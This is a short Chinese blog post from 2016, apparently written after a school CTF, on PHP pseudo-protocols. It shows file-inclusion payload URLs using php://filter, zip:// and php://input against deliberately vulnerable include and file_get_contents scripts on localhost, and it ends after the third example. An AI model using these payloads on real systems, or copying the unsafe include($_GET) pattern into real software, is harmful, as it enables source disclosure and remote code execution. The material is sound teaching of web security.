php

浅谈php伪协议

Posted by sp4rk on November 20, 2016

这次校赛,学长出的一道tomcat提权的题目,需要用伪协议去读文件和getshell,所以记录下常见的几种伪协议及其安全问题。

0x01 php://filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用,这里可造成LFI

<?php   //test.php
phpinfo();
?>
<?php   //1.php
include($_GET['a']);
?>

http://127.0.0.1/1.php?a=php://filter/read=convert.base64-encode/resource=index.php

base64 decode一下就是test.php的源码 allow_url_include:on 可以造成RFI

0x02 zip和phar协议

zip(phar)协议造成的文件包含,将test.php压缩为test.zip,再zip改名为jpg格式

http://127.0.0.1/1.php?a=zip:///var/www/html/test.jpg%23test.php

成功包含

0x03 php://input

php://input可以访问请求的原始数据的只读流,可以接收POST请求的数据,造成文件包含

<?php
$user=$_GET['user'];
if(file_get_contents($_GET['a'],'r')==='test'){
	echo phpinfo();
}
else{
	echo "test failed!";
}
?>